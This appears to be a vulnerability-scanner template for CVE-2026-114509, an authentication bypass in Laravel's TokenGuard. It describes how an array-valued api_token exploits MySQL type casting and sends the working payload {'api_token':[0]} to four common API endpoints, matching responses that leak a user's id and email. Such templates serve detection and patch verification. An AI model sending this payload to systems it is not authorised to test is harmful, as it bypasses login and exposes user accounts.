CVE-2026-114509: Laravel TokenGuard - Authentication Bypass

id: CVE-2026-114509

info:
  name: Laravel TokenGuard - Authentication Bypass
  author: kosoyyagent
  severity: critical
  description: |
    Laravel's TokenGuard (driver => token, hash => false) does not validate the
    credential type before the database lookup. Sending a JSON body with
    api_token as an array of integers ({"api_token":[0]}) produces a
    whereIn('api_token', [0]) query; under MySQL/MariaDB implicit casting,
    every varchar token not starting with a digit evaluates to 0, so the first
    user row is returned to an unauthenticated attacker.
  impact: |
    Unauthenticated attackers can bypass authentication and take over user accounts, compromising application security.
  remediation: |
    Update to versions 12.68.0 or 13.29.0 or later.
  reference:
    - https://github.com/laravel/framework/security/advisories/GHSA-f9x3-7vq9-cph6
    - https://github.com/ArioVeisa/cve-2026-114509-laravel-tokenguard
    - https://nvd.nist.gov/vuln/detail/CVE-2026-114509
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
    cvss-score: 9.2
    cve-id: CVE-2026-114509
    cwe-id: CWE-1287,CWE-287
    epss-score: 0.0184
    epss-percentile: 0.79123
  metadata:
    verified: true
    max-request: 4
    fofa-query: app="Laravel"
  tags: cve,cve2026,laravel,auth-bypass,php,intrusive,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/user"
      - "{{BaseURL}}/api/me"
      - "{{BaseURL}}/api/profile"
      - "{{BaseURL}}/api/v1/user"

    headers:
      Content-Type: application/json
      Accept: application/json

    body: '{"api_token":[0]}'

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - "application/json"

      - type: regex
        part: body
        regex:
          - '"id"\s*:\s*\d+'
          - '"email"\s*:\s*"[^"]+@[^"]+"'
        condition: and
# digest: 4b0a00483046022100a41aca13269e43274e83ab962a09c8cd04f6baff3afa3f7150c16eb98445955c022100958dfc8067888bf2c27a933dcbde56139556e3117d13aa6f22d9c4907e8ae3de:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.